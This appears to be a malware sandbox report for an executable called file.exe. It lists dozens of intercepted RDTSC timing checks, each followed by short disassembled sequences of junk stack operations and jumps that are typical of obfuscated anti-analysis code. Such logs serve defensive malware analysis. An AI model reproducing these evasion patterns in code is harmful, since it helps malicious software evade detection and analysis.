Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FF7D second address: 119FF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FF81 second address: 119FF8E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A014E second address: 11A0152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A109C second address: 11A10A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A10A2 second address: 11A10A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3094 second address: 11A3098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4190 second address: 11A419A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5E94E4CBA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A612E second address: 11A61A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5E94757C9Fh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e jc 00007F5E94757C96h 0x00000014 pop eax 0x00000015 pop ecx 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F5E94757C98h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 movzx ebx, si 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F5E94757C98h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov ebx, dword ptr [ebp+122D2B49h] 0x00000058 cmc 0x00000059 push eax 0x0000005a push ecx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A21D7 second address: 11A21E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3295 second address: 11A32B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757C9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5215 second address: 11A5223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5E94E4CBA6h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A61A6 second address: 11A61AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A21E1 second address: 11A21E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A71A9 second address: 11A71B3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6319 second address: 11A631F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A71B3 second address: 11A7233 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E94757CA2h 0x00000008 jmp 00007F5E94757C9Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov bh, B2h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F5E94757C98h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov bx, di 0x00000033 push 00000000h 0x00000035 movsx edi, si 0x00000038 pushad 0x00000039 add dword ptr [ebp+1245E5CCh], esi 0x0000003f push esi 0x00000040 sub dword ptr [ebp+122D369Fh], edx 0x00000046 pop edx 0x00000047 popad 0x00000048 xchg eax, esi 0x00000049 push edi 0x0000004a jmp 00007F5E94757CA3h 0x0000004f pop edi 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 jmp 00007F5E94757CA1h 0x00000059 push edi 0x0000005a pop edi 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A84E0 second address: 11A84ED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0A24 second address: 11B0A2E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E94757CADh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0A2E second address: 11B0A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94E4CBB1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jnp 00007F5E94E4CBA6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007F5E94E4CBB0h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5E94E4CBB4h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0A7A second address: 11B0A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CF2F second address: 114CF36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B02CF second address: 11B02E7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5E94757CA0h 0x00000008 jmp 00007F5E94757C9Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B02E7 second address: 11B02EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0443 second address: 11B0447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B05B2 second address: 11B05D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jl 00007F5E94E4CBA6h 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B56DE second address: 11B56E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B56E2 second address: 11B571C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c jp 00007F5E94E4CBB2h 0x00000012 pop edi 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5E94E4CBB7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5817 second address: 11B5843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jl 00007F5E94757CA4h 0x0000000f pushad 0x00000010 jc 00007F5E94757C96h 0x00000016 jbe 00007F5E94757C96h 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 jl 00007F5E94757CA0h 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5843 second address: 11B584F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B584F second address: 11B587B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F5E94757CA3h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B587B second address: 11B587F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B587F second address: 11B5883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5883 second address: 11B5889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5965 second address: 11B596A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA5D8 second address: 11BA5FA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E94E4CBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5E94E4CBAFh 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAD4C second address: 11BAD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5E94757C96h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F5E94757C9Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAD65 second address: 11BAD84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB8h 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C36F1 second address: 11C370E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2343 second address: 11C2347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2347 second address: 11C2353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5E94757C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2353 second address: 11C236D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBAEh 0x00000007 jng 00007F5E94E4CBAEh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2026 second address: 11C202E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C202E second address: 11C2063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F5E94E4CBA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F5E94E4CBD3h 0x00000014 jmp 00007F5E94E4CBB9h 0x00000019 push eax 0x0000001a push edx 0x0000001b je 00007F5E94E4CBA6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2F5A second address: 11C2F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757CA5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3433 second address: 11C3437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7B05 second address: 11C7B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7F2E second address: 11C7F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F5E94E4CBC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F5E94E4CBA6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7F44 second address: 11C7F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C806D second address: 11C8071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8191 second address: 11C8195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8195 second address: 11C81A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5E94E4CBA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C81A5 second address: 11C81B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757C9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C81B6 second address: 11C81C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F5E94E4CBA6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C81C8 second address: 11C81CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C81CC second address: 11C8205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F5E94E4CBB5h 0x0000000f jg 00007F5E94E4CBA8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5E94E4CBB0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8354 second address: 11C835C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C835C second address: 11C8360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C862F second address: 11C8639 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8639 second address: 11C8640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8792 second address: 11C879A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C879A second address: 11C87B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jne 00007F5E94E4CBA8h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8930 second address: 11C894B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757CA2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C894B second address: 11C8951 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC755 second address: 11CC762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F5E94757C9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A184 second address: 118A1D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5E94E4CBA8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 xor ch, FFFFFFDAh 0x00000027 lea eax, dword ptr [ebp+1247BF12h] 0x0000002d stc 0x0000002e nop 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F5E94E4CBB6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A1D4 second address: 118A1D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A1D8 second address: 1174771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F5E94E4CBB8h 0x0000000d nop 0x0000000e jmp 00007F5E94E4CBB6h 0x00000013 call dword ptr [ebp+122D207Eh] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A2AB second address: 118A34B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E94757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5E94757C9Dh 0x0000000f popad 0x00000010 mov dword ptr [esp], ebx 0x00000013 xor dword ptr [ebp+122D1A51h], edx 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov ecx, ebx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 movsx edx, di 0x0000002c mov dword ptr [ebp+1247BF6Ah], esp 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F5E94757C98h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c cmp dword ptr [ebp+122D2C21h], 00000000h 0x00000053 jne 00007F5E94757D2Ah 0x00000059 jnp 00007F5E94757CA2h 0x0000005f jl 00007F5E94757C9Ch 0x00000065 mov dword ptr [ebp+122D1BE7h], eax 0x0000006b mov byte ptr [ebp+122D1CD9h], 00000047h 0x00000072 mov dword ptr [ebp+122D1C0Ch], edi 0x00000078 mov cx, 0CA3h 0x0000007c mov eax, D49AA7D2h 0x00000081 jmp 00007F5E94757C9Dh 0x00000086 push eax 0x00000087 pushad 0x00000088 push eax 0x00000089 push edx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A34B second address: 118A34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A34F second address: 118A363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757C9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AACD second address: 118AAD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AAD2 second address: 118AAF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94757C9Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnp 00007F5E94757CA0h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ABF6 second address: 118AC19 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F5E94E4CBADh 0x0000000e push 00000004h 0x00000010 mov ecx, dword ptr [ebp+122D2919h] 0x00000016 push eax 0x00000017 push ecx 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B284 second address: 118B295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B295 second address: 118B299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B299 second address: 118B2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5E94757C98h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B2B1 second address: 118B2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94E4CBB8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B465 second address: 118B46B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B46B second address: 118B46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B46F second address: 118B473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCEB8 second address: 11CCEBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCEBC second address: 11CCEC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD034 second address: 11CD039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD318 second address: 11CD333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E94757C9Dh 0x0000000b jo 00007F5E94757C9Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
